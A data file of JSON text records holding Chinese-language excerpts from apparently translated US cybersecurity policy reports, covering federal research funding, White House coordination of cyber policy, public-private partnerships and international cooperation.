    {"text": "美国国家标准与技术研究所的任务涉及编制相关措施和标准，其活动在促进技术转让方面发挥着关键作用，并且其在网络空间安全方面的作用专注于这种工作类型。"},
    {"text": "美国国家标准与技术研究所2004财务年度内在网络空间安全方面的预算为970万美元。 在最近批准的2005财务年度预算中，美国国家标准与技术研究所计算机安全部对于网络空间安全方面的拨款增长了1000 万美元。"},
    {"text": "（三）军用 / 情报部门以及民用网络空间之间的关系 1.军用和情报体系从民用部门投资的研究拨款中获得巨大利益 从历史上来看，军用和情报体系主要通过大力支持美国国防部高级研究计划局和美国国家安全局开展的长期学术研究，从民用部门投资的研究拨款中获得巨大利益。"},
    {"text": "因为从传统上而言，许多关于网络空间安全的理念、解决方案和人才都来自民用研究领域，所以民用和军用部门都必然在这种趋势中受损——这是军用和情报机构自身认识到的问题之一。"},
    {"text": "作为联邦政府所开展的最为宏大的信息技术计划之一，美国国防部全球信息网（GIG）阐明了减少民用网络空间安全方面的投入所带来的负面影响。 为了改善美国的军用通信系统，美国五角大楼计划部署美国国防部全球信息网（GIG），这是一种连接到武器、情报和军事人员以实现“网络强化”战争的多层网络系统。 当研发和部署美国国防部全球信息网（GIG）的成本不再是一个公共记录问题时，美国总审计局最近出台的报告预测：它在 2010年的成本至少要达到210亿美元，在此之后 [9] ，还会增加更多额外支出。 2.委员会评估披露了有利于保密军用/情报网络空间安全研发以及短期研究的显著变化 美国国防部计划让美国国防部全球信息网（GIG）最为敏感的部分自负盈亏，从而降低暴露在公众信息技术基础设施中有关的潜在军用不安全性。 但是，预计美国国防部全球信息网（GIG）中某些敏感度较低的部分会连接到互联网，至少会连接一段时间。"},
    {"text": "而且，经济现实表明：今天的军用网络和明天的美国国防部全球信息网（GIG）会使用民用商业硬件和软件，同时将这些网络暴露在这些产品的安全弱点之下。 因此，作为未来的一种安全的信息技术基础设施，成功的美国国防部全球信息网（GIG）还在一定程度上依赖于民用信息技术基础设施安全性的改善。"},
    {"text": "因为民用研发体系只能使用无保密研究结果，所以减少对于这种体系的支持，无疑会对未来安全产品和实践赖以发展的基础研究能力产生不利影响。"},
    {"text": "（四）当前联邦努力评估 委员会对于联邦网络空间安全研发综合努力的评估已经披露出两种令人不安的趋势：第一，有利于保密军用和情报研发的明显变化，使其难以接触到民用部门；"},
    {"text": "这些趋势应当引起决策者的关注，因为它们可能妨碍基础网络空间安全研究的渠道，这对于保障美国信息技术基础设施的安全而言是至关重要的。"},
    {"text": "如果允许民用领域内的研究停滞不前（如果允许当前趋势继续的话，就有可能发生这种情况），那么我们国家赖以生存的信息技术基础设施就会进一步遭到削弱。"},
    {"text": "但是，为网络空间安全研发提供主要支持的机构只有美国国家科学基金会和美国国家标准与技术研究所，美国国土安全局也在一定程度上介入民用领域。"},
    {"text": "正当所有机构不断警告和强调对于短期研发予以拨款以解决直接的任务要求时，委员会的分析表明：对于长期基础研究的拨款支持（发展领先的优势方案来解决更为复杂的问题的必要的初期形式）已经远远落后。"},
    {"text": "总统信息技术咨询委员会认为：联邦政府对于民用网络空间安全基础研究方面的预算必须大大增加，否则，美国的安全和技术优势将会严重受损。"},
    {"text": "四、结论和建议 （一）转型期的研发重点 当前，对于美国通信、商业和管理方面涉及的实体性基础设施而言，信息技术（IT）基础设施显得至关重要，但是，它却非常容易受到恐怖分子和罪犯的攻击。"},
    {"text": "其他机构也应当对于民用网络空间安全基本研究实质性地增加拨款，尤其是美国国防高级研究计划署（DARPA）和美国国土安全局（DHS），应当划拨这些款项，至少要适当地处理“优先考虑的网络空间安全研究”中列出的十个重点领域。"},
    {"text": "民用网络空间安全研发指的是由民用联邦机构、大学、公司和大量人员使用的计算系统、网络和软件所涉及的无保密研发。 在民用网络空间安全中研究成果的受益人之一是广大的信息技术市场，其中包括商用互联网、与其连接的网络，以及大部分的私人计算系统。"},
    {"text": "因此，在很大程度上，保密网络空间安全研究不能用于通用的民用网络空间安全市场，并且它对于商业互联网及其潜在技术或者信息技术基础设施（它们能够加固美国关键基础设施）不会产生广泛影响。"},
    {"text": "此外，非保密研究拨款能够增加精通网络空间安全的专业人士的数量，而保密网络空间安全研究拨款并非如此，这是本报告中识别的一个关键问题。"},
    {"text": "正如伍尔夫博士声明中指出的那样，今天我们对于许多涉及网络空间安全的根本性问题还没有找到满意的答案： 当初次部署时，我们怎样建立安全、可靠、复杂的软件集成系统？"},
    {"text": "由于支持整个科学和工程企业方面的基础研究，美国国家科学基金会成为了民用网络空间安全基础研究方面的主要拨款机构。 委员会认为：美国国家科学基金会计算机和信息科学以及工程董事会，尤其是其网络信任计划的网络空间安全研究投资占据了民用网络空间安全基础研究方面大部分的联邦拨款，所以相对于美国的网络空间研究需求而言严重不足。"},
    {"text": "联邦对于网络空间安全研发的支持主要用于民用网络空间安全基础研究。 鉴于民用网络空间安全可以在美国的整个关键基础设施方面发挥核心作用，委员会认为：应当增加民用研究方面的拨款，这在整个网络空间安全研究预算中占了较大比例。 美国国家科学基金会应当继续成为民用网络空间安全方面的主要拨款机构，委员会建议：美国国家科学基金会不应当成为民用网络空间安全基础研究领域不断投资的重点。"},
    {"text": "总统信息技术咨询委员会建议：美国国家科学基金会计算机科学及工程学部（NSF CISE）对于民用网络空间安全基础研究方面的预算不能以牺牲计算机科学及工程学部的其他部分费用作为代价。"},
    {"text": "如果没有处理好计算机科学及工程学部和其他学部之间的现有差距，那么计算机科学及工程学部的主要拨款资金就会转向网络空间安全，这样会恶化其他计划的紧张局势。 而且，在计算机科学及工程学部其他领域内的许多工作都有利于网络空间安全，因此，对这些领域拨款的减少，也会妨碍预期生产目标 [12] 的实现。"},
    {"text": "建议2：联邦政府应当努力在研究性大学招聘和保留网络空间安全研究人员和学生，以期在十年后将民用网络空间安全基本研究机构的规模至少扩大一倍。 尤其是联邦政府应当增加对于民用网络空间安全方面的稳定性拨款，并且应当支持相关计划，以使研究人员能够从其他领域转入网络空间安全研究领域。"},
    {"text": "”委员会同意这种评估结果，并且预计：美国的学术机构所雇佣的活跃网络空间安全或者网络保证专家人数不足250人，而且，其中许多专家却缺乏在此领域内正规的培训或者广泛的专业经验。"},
    {"text": "当前领域内较小规模的后果包括：可以对有效调查的所有研究话题进行研究数量的限制，因为在一个主题内生产性的工作通常要求关键的研究人员。"},
    {"text": "为了强化并扩大网络空间安全基础性研究体系，联邦政府应当采取以下措施。 提高联邦政府给予网络空间安全基础性研究的拨款。 如建议1中提到的那样，实质上提高拨款水平对于建立较大的网络空间安全基础研究体系而言是必不可少的。 为网络空间安全基础性研究提供稳定的联邦拨款。"},
    {"text": "稳定的拨款水平（这是一个独立于绝对拨款水平的问题）对于实现这个领域的成长是十分关键的，因为对于进入此领域感兴趣的人员知道：他们可以在此领域拥有未来的发展空间。"},
    {"text": "尝试改变领域未来的研究人员需要获得拨款以寻求最新的工作成长空间，但是面临着重重困难，因为他们在这个全新的领域内还没有任何档案记录。"},
    {"text": "培养一个较大规模、更为强大的网络空间安全基础研究领域，将会帮助确保生成革命性的全新理念（和渐进式发展相反）。 委员会认为：再过十年，网络空间安全基础性研究领域的规模翻一番是很有可能的，并且可以帮助推动美国网络空间安全的研发努力。"},
    {"text": "委员会认为：鉴于技术转让的价值和难度，联邦政府应当支持相关计划，以便将现有和未来的网络空间安全研究成果融入商业产品或者最佳运营实践中去。"},
    {"text": "当进行基础性研究时，通常没有预见的任何直接过渡渠道，网络空间安全研究通常要在身份识别问题背景下开展，并且我们还需要备案和真实世界问题之间的逻辑联系。"},
    {"text": "通过密切合作，联邦政府和民营企业可以将联邦资助的网络空间安全研究成果有效地转化为商业产品，并建立创新型的网络空间安全劳动力，这样做可以帮助我们的社会认识到这些研究带来的潜在收益。"},
    {"text": "美国国家科学技术委员会（NSTC）下属的、负责协调网络和信息技术研发计划的网络和信息技术研发小组委员会，以及小组委员会的协调组，尤其是高信任软件和系统协调小组 [17] 、大规模网络协调小组 [18] 、信息安全研究委员会（IRC）。"},
    {"text": "这些协调机构会定期召开会议（通常为月度例会），为机构代表提供共享信息的机会，赞助跨界研讨会，促进联合或者协调资助相关计划和研究，并且作为学术专家和行业代表提供输入数据的一种手段。"},
    {"text": "委员会认为：关键信息基础设施保护跨界工作组已经进行了跨界努力，从而优先处理网络空间安全研究领域，其目的是为跨界网络空间安全研发计划编制联邦议程，并且着重围绕最为优先考虑的需求。"},
    {"text": "这种初步工作受到了鼓励，并且对于联邦投资在网络空间安全研发计划中的效率而言是至关重要的，因为如果缺少这些协调活动，机构就会围绕其自身任务开展工作，而非整个联邦政府优先考虑的研发重点。"},
    {"text": "因此，关键信息基础设施保护跨界工作组在协调联邦政府网络空间安全研发计划中发挥的作用有待进一步强化，并且应当融入网络和信息技术研发计划中去。"},
    {"text": "召集政府、大学和行业范围内的相关人士参加研讨会，以便就高级战略和问题（例如长期体系结构设计问题）交流信息，从而应对不断增长的网络空间安全挑战。"},
    {"text": "跟踪网络空间安全研发计划的进度，在预算讨论过程中实现更高的透明度，必须及时提供精确的最新数据。 跟踪网络空间安全研发计划的学术进度及其对于网络空间安全数据获取的影响，并在联邦政府范围内加以使用。"},
    {"text": "关键信息基础设施保护跨界工作组应当就联邦网络空间安全研发投资的整体效果定期出台报告。 关键信息基础设施保护跨界工作组协调的网络空间安全研发计划，应当引入网络信息技术研发计划中去，关键信息基础设施保护跨界工作组不仅应当向其当前总部机构以及美国国家科学技术委员会（NSTC）下属的小组委员会报告，而且应当向网络和信息技术研发小组委员会报告。"},
    {"text": "我们需要将网络空间安全需求的进展完全融入信息技术系统中去，这就要求网络空间安全研发计划变成整个信息技术研发计划不可或缺的组成部分。"},
    {"text": "例如，为了将流量指向错误的交替网址，攻击者可以很容易地欺骗（或者“戏弄”）诸如边界网关协议（BGP）（当通过互联网时，它控制着数据包经由的路径）等协议，以及诸如域名系统（DNS）（它控制着数据包的目的地）等服务。"},
    {"text": "二级研发主题如下： ● 互联网协议电话（VoIP）、无线网络以及虚拟专用网络（VPN）安全性，其中每个协议都比互联网基本协议更为复杂，并且任何一个协议都没有实现充分的安全性；"},
    {"text": "3.安全的软件工程和软件保证 今天，我们的商业软件工程缺少科学的基础结构和严格的控制流程，因此很难以可接受的成本生产出高质量的安全产品。"},
    {"text": "但是，通过哄骗相关的潜在协议或者终端用户软件，敌方仍旧可以让用户的交易看起来受到了加密套接字协议层的保护，同时实现盗窃机密数据。"},
    {"text": "6.缓解和恢复方法 我们必须设计安全系统，以便对于无法预料的事件和攻击做出快速响应，并从随后的破坏中恢复过来，这是大型化、复杂化互联网及其节点系统尤其要面临的挑战性任务。"},
    {"text": "● 跟踪不断增长的欺诈、身份盗窃和知识产权盗窃流量中使用的盗窃信息，包括从不稳定和不完全清除计算媒体、磁盘、手机、掌上电脑和内置系统中恢复跟踪证据的工具和协议；"},
    {"text": "10.可以破坏网络空间安全的非技术性问题 众多的非技术性因素（包括心理因素、社会因素、制度因素、法律因素和经济因素等）可以通过网络和软件工程不能单独应对的途径来破坏网络空间安全性。"},
    {"text": "二级研发主题如下： ● 开展相关战略，以改变对于个人和公司而言造价昂贵的较大规模网络安全的广泛固有观念（这种观念会妨碍此领域内的软件开发）；"},
    {"text": "如果这些系统在安全上没有取得重大进展，或在如何构建和运营上没有实现重大改观，则很难让人相信美国能够保护自己免受网络犯罪日益严重的威胁，免遭由国家支持的入侵和军事行动的日益严重威胁。"},
    {"text": "联邦政府很多部门和机构都担负有网络安全的责任，但存在职权重叠的问题，没有一个部门拥有足够的决策权来指挥行动，协调一致地去处理相互矛盾的问题。"},
    {"text": "政府需要综合考虑各方竞争的利益，制定出一个全面设想和计划，以解决美国面临的网络安全问题。 国家需要制定出必要的政策和程序，培养相关人才和发展相关技术，以降低网络安全所面临的风险。"},
    {"text": "美国需要拥有一个全面的架构，以确保政府、民营部门和我们的盟国在发生重大网络事件或威胁时，协调一致地做出反应和进行防御。 美国需要开展一次全国性的网络安全讨论，从而使更多的民众认识到网络威胁与网络风险，以确保拥有一套完整的办法来满足国家对网络安全的需要，并履行国家做出的承诺，维护受宪法和法律保护的公民个人隐私权和自由权。"},
    {"text": "网络安全政策包括网络空间安全和网络空间运行的战略、方针及标准，涵盖了所有的降低威胁、减少弱点、实施威慑、国际参与、应急反应、确保韧性及恢复能力的政策与行动，并包括计算机网络运行、信息安全保障、执法、外交、军事和情报工作等。"},
    {"text": "由政府网络安全专家组成的评估小组负责汇总产业界、学术界、公民自由与隐私维权团体、州政府、国际合作伙伴，以及国家立法和行政部门提出的具有广泛代表性的意见和建议。"},
    {"text": "此外，要落实联邦政府网络安全的领导责任制。 这种方法要求明确联邦政府各部门和机构的网络安全任务和职责，同时提供相关政策、法律程序和必要的协调，使各部门能够各司其职。"},
    {"text": "在过去的两年中，我们已经开始实施重大的计划，并通过对各机构的不同任务进行“衔接”而取得了长足的进步，但这样做并没有提供一个完备的解决办法。"},
    {"text": "美国还需要制定一个网络安全战略，以塑造国际环境，使志同道合的国家就领土管辖权、主权责任与动用军队的相关技术标准和公认法律规范等一系列问题达成共识。"},
    {"text": "这些法律上的差异对实现安全、可靠和有韧性的数字环境构成了挑战，并涉及网络犯罪调查与起诉、数据保存、数据保护和数据隐私权、网络防御和应对网络攻击的反应等一系列问题。"},
    {"text": "在保护国家免遭网络事件或事故冲击方面，联邦政府既不能全部包办，也不能回避职责。 联邦政府担负有保卫国家的责任，各级政府担负着确保公民安全和福祉的责任。"},
    {"text": "美国需要有一个全面的框架方案，以确保遇有重大事件发生时，联邦、州、地方和原住民保留地政府，以及民营部门和国际盟友做出协调一致的反应。"},
    {"text": "政府与重要的利益攸关方应共同努力，设计一个有效的机制以实现真正共同运作的构想，将政府和民营部门的信息整合成一体，并以此作为信息通畅、按轻重缓急顺序推进减灾工作和做出应急反应决策的基础。"},
    {"text": "政府还应探索另外一些激励机制，包括调整法律责任（安全改善后责任减少，安全条件差则导致责任增加）、补偿及税收优惠，以及新的监管规定和执行机制等。"},
    {"text": "三、导言 （一）什么是网络空间 第54号国家安全总统令暨第23号国土安全总统令将网络空间定义为信息技术基础设施相互依存的网络，包括互联网、电信网、计算机系统以及重要产业中的处理器和控制器。"},
    {"text": "政府最高领导层、产业界和民间社会共同致力于网络安全，这会使美国在加强国家安全和促进全球经济的同时，继续在创新和尖端技术运用方面保持领先地位。"},
    {"text": "正如国家情报总监最近在国会作证时所陈述的那样，“信息系统、互联网和其他基础设施之间越来越多地连接在一起，为攻击者破坏电信、电力、能源管道、炼油厂、金融网和其他关键基础设施创造了机会。"},
    {"text": "日趋复杂、广泛的犯罪活动，以及网络事件所造成的危害凸显出网络空间恶意行为的危害性，包括损害美国的竞争力、降低对隐私和公民自由的有效防护、破坏国家的安全或使公众失去信任感，甚至瘫痪社会。"},
    {"text": "本报告中提及的网络安全政策，包括了网络空间安全和网络运营战略、政策和标准，并涵盖了全面降低威胁、减少弱点、实施威慑、国际参与、应急反应、确保韧性和恢复能力的政策及行动；"},
    {"text": "还包括与全球信息与通信基础设施的安全与稳定息息相关的计算机网络运行、信息安全保障、执法、外交、军事和情报活动，但并不包括与国家安全及基础设施安全无关的其他信息与通信政策。"},
    {"text": "（三）全新的评估 因为认识到所面临的挑战与机遇，美国总统将网络安全确定为本届政府的优先议题，并指示对此进行60 天的全面审查，以评估美国网络安全政策与结构。"},
    {"text": "评估与信息和通信基础设施有关的所有任务和活动，包括计算机网络防御、执法调查、军事与情报活动，以及与之有关的信息安全、反间谍、反恐、电信政策和综合的关键基础设施保护等方面内容。"},
    {"text": "由政府网络安全专家组成的评估小组彻查了相关的总统政策令、行政命令、国家战略和政府顾问委员会及民营部门提供的研究报告。 评估小组还向政府部门和机构征求了意见，让他们按要求就各自与网络安全相关的特别活动、权限和能力提供材料，并要求政府部门和机构确认那些可能未被列入评估初稿之中的新的需求或已存在的需求。"},
    {"text": "于是很多的法律问题浮出水面，如集中管理问题，政府使用什么样的机构来保护私有重要基础设施，互联网监控软件的安装，自动攻击检测和预警的应用，联邦政府与第三方数据共享和私人信息的保护责任等。"},
    {"text": "小组力争透明，与产业界、学术界、公民自由与隐私社团、州政府、国际合作伙伴以及立法和行政部门广泛沟通，分析与评估其他相关的计划和事务。"},
    {"text": "面对各方——学术界、产业界和政府——一道努力建立值得信赖和富有韧性的通信与信息基础设施的难得机会，评估小组给这些利益攸关方规定了评估的范围，并要求它们就相关领域提供材料。"},
    {"text": "相关各方的反馈和公开说明，如国会证词等有助于确定重大需求，指明政策差距，提出改进或合作的领域，并为与网络空间安全相关的政策决策提供了参考。"},
    {"text": "评估小组发现，在整个信息和通信基础设施发展过程中，各部门和机构的任务与职权是依据当时管理多样化和分散的技术及产业的法律和政策确定的。"},
    {"text": "● 1934年《通信法》决定由联邦无线电通信委员会组建联邦通信委员会，并为所有电报和无线电通信建立完备的规章制度，对此类技术的后继发展产生了深远的影响。"},
    {"text": "要解决“谁负责”的问题，就必须解决政府部门和机构间任务和职权分配问题，特别是在电信网络和互联网相互融合，以及其他基础设施部门日益依赖互联网，以实现互联互通的背景下，情况更是如此。"},
    {"text": "1998年5月签署的第63号总统令规定，在白宫的直接领导下设立一个机构，指定牵头部门和机构，协调相关行动，并与民营企业相应部门合作，以“消除我们的重要基础设施——特别是我们的网络系统——在防范和抵御物理和网络攻击方面存在的任何漏洞”。"},
    {"text": "2007年，《国家网络安全综合计划》采取了不同的策略，其核心是把过去分散的网络防御任务与执法、情报、反间谍和军事能力“衔接”起来，解决各种各样来自远程网络入侵和内部违规操作所造成的网络威胁，以弥补存在的一系列不足。 《国家网络安全综合计划》的策略在第54号和第23号国家安全总统令中被定为法律，主要针对行政部门的网络安全。"},
    {"text": "报告用5个主题详细地介绍了调查结果和行动方案：一是顶层领导，二是建设数字化国家的能力，三是共同负责网络安全，四是加强信息共享和应急反应，五是构筑未来架构。"},
    {"text": "四、从最高层实施领导 确保网络空间拥有足够韧性并值得信赖，以支持美国的经济增长、公民自由与隐私保护、国家安全和民主体制的完善，需要把网络安全列为国家头等大事。"},
    {"text": "（一）由白宫实施领导 由白宫掌握网络安全相关政策的领导权并提升领导的层级，会向美国和国际社会发出明确的信号，即我们对网络安全问题的态度是非常严肃认真的。"},
    {"text": "如果没有一个中央协调机制，没有及时更新的国家战略，没有各行政部门制定和协调的行动计划，以及没有国会的支持，靠单打独斗的工作方式不足以应付这一挑战。"},
    {"text": "政府行政部门早已经设立了一个由国家安全委员会和国土安全委员会共同领导的信息和通信基础设施跨部门政策委员会，作为解决有关网络问题的主要政策协调机构，以便获得可信、可靠、安全和长久的全球信息和通信基础设施及相关能力。"},
    {"text": "美国总统应该考虑再任命一名白宫网络安全政策官，该官员应向国家安全委员会和国家经济委员会报告，以协调全国范围内与网络安全有关的政策和活动。"},
    {"text": "此官员将主管信息和通信基础设施跨部门政策委员会工作，加强与总统办事机构其他部门协调领导工作，解决各种优先任务和协调政府部门间网络安全政策和战略的发展。"},
    {"text": "网络安全政策官应该参与所有相关的经济、反恐、科学与技术政策的讨论和研究，并制定网络安全长远规划。 要取得成功，总统网络安全政策官必须得到总统的全力支持，拥有权威和足够的资源，以便在政策制定和协调部门间的网络安全相关活动中有效地开展工作。"},
    {"text": "此外，为促进国家安全委员会内部的整合，委员会中的每个地区主管局和职能局应当专设一名工作人员，负责本单位职能范围内的网络安全事务，并与国安会新设的网络安全局协调工作。"},
    {"text": "网络安全政策官应当利用政府部门和机构间的协调程序，一切工作都要与联邦政府的首席技术官和首席信息官，以及管理与预算局、科学与技术政策办公室和国家经济委员会等相关部门进行商议，协调整个联邦政府有关网络安全的政策和技术工作，确保在总统的预算中能反映出网络安全工作是联邦政府的优先工作，并进入立法议程。"},
    {"text": "该网络安全政策官亦可被任命担任白宫网络应急反应行动官（其职能与白宫监控恐怖袭击和自然灾害的行动官员相类似），这一任命也将使美国更有效地进行危机管理；"},
    {"text": "新国家战略应侧重于使高层领导集中精力和时间，消除阻挡美国实现拥有可信、可靠、安全和富有韧性的全球信息与通信基础设施以及相关能力的障碍。"},
    {"text": "该战略将帮助政府努力提高公众意识，恢复和建立国际联盟及公私部门之间的伙伴关系，建立一个更加周全的国家网络应急反应与恢复计划，并采取积极的研究与发展计划，催生提高网络安全的新技术。"},
    {"text": "政府各部门和机构应加强网络防御单位与负责美国网络空间作战的情报、军事和执法单位的合作，就网络威胁、网络交易、网络技术和网络存在弱点等问题进行交流，扩大网络经验、知识和观点的共享。"},
    {"text": "许多咨询机构都涉足与网络安全相关的问题，这些机构包括国家安全和电信咨询委员会、国家基础设施咨询委员会、重要基础设施合作咨询委员会以及信息安全与隐私咨询委员会。"},
    {"text": "这些组织将可以在政府网络安全计划和公民自由与隐私团体以及公众之间建立起信任，显示网络安全计划的透明，这在网络计划开始实施之初尤为重要。"},
    {"text": "当务之急是要建立隐私与公民自由监督委员会，加快委员会成员的选举工作，并考虑是否寻求修订法案以扩大其工作范围——包括处理与网络安全有关的事务。 其他可行的办法还包括：加强政府负责公民自由事务的部门与隐私顾问们就网络安全的政策问题进行定期沟通，或在国家安全委员会内任命一名负责隐私与公民自由事务的官员（或范围再大一些，在总统办事机构内任命一名负责隐私和公民自由权利的官员），与民营部门隐私与公民自由团体、隐私与公民自由监督委员会和政府负责隐私与公民自由事务的官员进行协商。"},
    {"text": "网络安全政策官通过同管理与预算局和总统办事机构其他部门协商，应该就组织机制调整提出建议，以实现相应的监督、执行和其他一些职能，包括在管理与预算局或总统办事机构建立一个拥有跨部门联合网络特遣队功能的机构，创立一个类似艾森豪威尔总统行动协调委员会的实体，或建立一些可协助评估联邦政府部门与机构表现和监督联邦政府网络安全标准遵守情况的组织机构。"},
    {"text": "（二）评估相关法律和政策 总统的网络安全政策官应与政府部门和机构合作，提供协调一致的政策指导，并在必要时详细说明整个联邦政府确保网络安全相关活动的职权、作用和责任。"},
    {"text": "适用于信息和通信网络的法律是由宪法、国内法、国外法和国际法共同组成的一个复杂法律体系，这一体系制约着政策选择。 在美国，这种组合在一起的法律混合体之所以存在，是因为联邦政府在整个信息和通信基础设施发展过程中，颁布了诸多法律和政策，以控制多样化的产业和技术。 由于传统的电信网络和互联网日益融为一体，以及其他基础设施领域日益将互联网作为互联互通的主要手段，法律和政策应当继续找出一种综合性方法，将保护公民自由、隐私权利、公共安全、国家和经济安全的利益与灵活多样的网络应用和网络服务所带来的好处结合起来。"},
    {"text": "在一些领域中缺乏司法裁定既带来了机遇也带来了危险，决策者对此应充分理解——法院可以介入并规范法律的应用，特别是涉及宪法权利的领域。"},
    {"text": "这一过程可能会根据美国的法律原则提议组建新的立法框架，对加之于信息、通信、网络和技术上的相互重叠的法律进行合理调整，或对已有的法律进行新的诠释，使之适应技术变革与实现政治目标。"},
    {"text": "（三）加强网络安全工作的联邦政府领导和责任制 在数字化时代，仅仅依靠白宫将不足以领导美国实现广泛的目标，整个联邦政府都必须担负起领导职责。"},
    {"text": "网络安全政策官——与国家安全委员会、管理与预算局、国家经济委员会和科学与技术政策办公室协商——将界定工作进度和成功的标准，提高网络安全工作在所有机构预算中的“能见度”。 要使网络安全工作透明并对整个网络安全投资进行有效管理，管理与预算局应利用其项目评估机制，确保政府部门和机构在追求网络安全目标时有效使用预算。 正规的网络安全项目评估机制可以使政府部门和机构详细说明每个计划的意图与目标，并建立是否达成目标的统一标准。"},
    {"text": "州、地方和原住民保留地政府应考虑把网络安全当成一件大事来抓，指定一名领导人专门负责，以确保首席信息官、首席信息安全官与州国土安全顾问之间的有效协调。"},
    {"text": "州、地方和原住民保留地政府应考虑是否应把网络安全当成一个大问题，并确保首席信息官、首席信息安全官与州国土安全顾问协调一致，保持强大的防御态势。"},
    {"text": "近期颁布的《美国复苏与再投资法案》中的内容鼓励发展现代信息和通信设施，以便提高美国的竞争能力，并使用技术来解决国家所面临的最为紧迫的问题。"},
    {"text": "总统网络安全政策官应该负责这一公众意识战略的制定并指导其执行，并且应寻求国会、联邦政府、地方与原住民保留地政府、民营部门及公民自由与隐私组织的支持。"},
    {"text": "过去在公共安全活动中的一些成功做法，如为了防火而设置的警示牌、推广使用汽车安全带的提示条等，都可以当做一个模本加以利用，以便通知和帮助公众认识到网络安全的重要性。"},
    {"text": "这项研究指出，美国继续拥有世界上最好的信息技术公司运营环境，在教育、基础设施、创新鼓励和法律保护等多个重要领域均具有规模和质量优势，可帮助打造竞争力。"},
    {"text": "国家信息安全教育与研究学术中心，由国家安全局于1988年创立，从2004年开始由国土安全部共同资助，在38个州和哥伦比亚特区的94所大学推行更高水平的信息安全教育。"},
    {"text": "其他范例包括国家科学基金会援引国防先期研究计划局的重大挑战而组织的一个学术小组，马可姆波里奇国家奖，以及旨在建立高级加密标准的竞赛。"},
    {"text": "（三）扩充联邦信息技术劳动力队伍 总统网络安全政策官应同信息和通信设施联合部门委员会协作，考虑如何更好地吸引网络安全专业人才，并采取措施慰留联邦政府内拥有此类技能的职员。"},
    {"text": "展开共同培训、进行部门间轮岗，甚至与民营部门之间进行可能的岗位轮换不但是一项有效的做法，而且会有利于人才素质综合培养和专业人才库的建立。"},
    {"text": "这一努力应寻求同民营部门进行持续的协作，通过制定全球标准来提高可被共同使用的网络的安全，扩展法律系统打击网络犯罪的能力，继续发展并推广成功的实践经验，并保持稳定、有效的互联网治理。"},
    {"text": "对于基础设施的安全性和可靠性以及通过这些设施所发生的交易，业界和政府承担着共同的责任，二者应该紧密合作以解决这些相互依赖性问题。"},
    {"text": "尤其是民营部门经常试图通过业务个案来证明以下两方面所需的资源支出的合理性：一是把信息与通信系统安全整合到公司的风险管理之中，二是建立可以缓解风险的伙伴关系。"},
    {"text": "总统网络安全政策官应同相关部门机构及民营部门进行合作，共同考察现有的政府与民间伙伴关系和信息共享机制，以便识别或建立最为有效的模型。"},
    {"text": "这些团体作了很多贡献，但是由于精力分散，已使一些参与者对缺乏明确界定的角色和责任、各团体之间参差不齐的能力以及不断增加的计划和建议，感到灰心丧气。"},
    {"text": "联邦政府应对各种资源进行优化、调整，然后把它们提供给现有的组织，以此来完善其识别优先等级的能力，实现更加有效的执行效率并制定响应与恢复计划。"},
    {"text": "（二）评估妨碍政府与民间伙伴关系转变的潜在障碍 民营部门中的有些成员一直担心，某些联邦法律也许会妨碍民营部门和政府之间全面协作性质的伙伴关系及运作信息共享。"},
    {"text": "例如，业界中的有些人担心在现有的伙伴关系模型中，同一领域成员之间进行的信息共享和统一规划，也许会被认为同禁止贸易限制的法律“互相串通”相抵触。"},
    {"text": "政府应同民营部门进行创造性的合作，以便找出恰当的解决方案——同时照顾到交流信息和保护公共与私人利益这两个方面的要求，从而采用统筹兼顾的方法解决国家安全和经济安全问题。"},
    {"text": "民营部门将更乐于分享那些不需要更改数据所有权的解决方案，如英国模型中的做法：选择经过审核的信息安全提供方而不是政府作为合并数据的链接点。"},
    {"text": "最后，联邦政府应该请学术界、公民自由与隐私团体、开放政府的提倡者以及消费者积极参与，以确保政府政策充分考虑到了这些群体所代表的广泛利益。"},
    {"text": "技术的变化通常会成为政策制定的考虑要素，也许会要求改变现有的程序。 政策改变（如规章或税收鼓励措施的通过）可以影响到采购或技术研发方面的决定。"},
    {"text": "联邦政府还可以考虑这样的方式：它能够把更多的资源集中到可能“改变产业界格局”的领域的研究上，例如，行为与政策方面以及以激励为主的网络安全解决方案。"},
    {"text": "美国需要制定一项战略，以便打造国际环境并把对一系列问题有着类似观点的国家聚集在一起，这些问题包括有关领土管辖权、主权责任及武力使用等可以接受的规范。"},
    {"text": "此外，不同国家与地区的法律和实践（例如，涉及以下多个方面的各种法律：网络犯罪的调查和起诉、数据保存、保护与隐私，以及网络防御和网络攻击响应的途径），为打造一个安全、安定并具有韧性的环境带来了巨大的挑战。"},
    {"text": "要解决这些问题需要美国同所有国家以及国际机构、军事同盟与情报伙伴进行合作，包括发展中国家，它们在构建其数字经济与设施的过程中也面临着这些问题。"},
    {"text": "这其中应包括对现有政策的评估，并对立场的确定、完善或重申进行协调，从而确保与网络安全相关的经济、国家安全、公共安全和隐私利益都被考虑在内。"},
    {"text": "包括联合国、八国集团、北大西洋公约组织、欧洲理事会、亚太经合组织、美洲国家组织、经济合作与发展组织、国际电信联盟、国际标准化组织在内的十多家机构都致力于解决信息和通信基础设施方面的问题。"},
    {"text": "总统网络安全政策官应与各部门机构合作，加强其对国际立场、磋商和讨论的识别、跟踪和优化的能力，与网络安全相关的协议、标准、活动和政策都是在这些过程中形成的。"},
    {"text": "联邦政府应与民营部门及其他国家密切合作，以确保各成员充分参与到相应的论坛之中，就关乎美国未来全球信息和通信基础设施利益最重要的问题进行讨论。"},
    {"text": "联邦政府应与民营部门共同协调和发展国际伙伴关系，以应对信息和通信基础设施相关的一系列网络安全方面的活动、政策和机遇，这些基础设施是美国商业、政府服务、美国军队以及国家的根本所在。"},
    {"text": "例如，美国应加快步伐帮助其他国家建立法律框架、提高打击网络犯罪的能力，并且继续推广网络安全方面的准则和标准。 美国也应与其盟友合作，确保互联网的稳定性和国际互用性，同时提高互联网的安全性和可靠性，使所有用户受益。 七、建立有效的信息共享和事故响应框架 美国需要建立一个全面的框架，以便协调政府、民营部门和盟国共同应对重大的网络事故。"},
    {"text": "由于此类事件可能影响到政府和产业界部门之间的互联网络，因而在重大事件发生之前、期间和之后，对此类计划和行动进行协调就显得特别重要。"},
    {"text": "例如，尽管收到关于Conficker 蠕虫病毒的提前预警和网络防御的指示，但如果蠕虫病毒在2009年4月1日激活时附带恶意的有效负载，那么一些联邦部门和机构就无法应对。"},
    {"text": "根据事件的性质，例如，重大的漏洞、犯罪袭击或军事事件，不同部门或机构可能负有或承担着主要的应急责任，而其他部门或机构则可能对此一无所知。"},
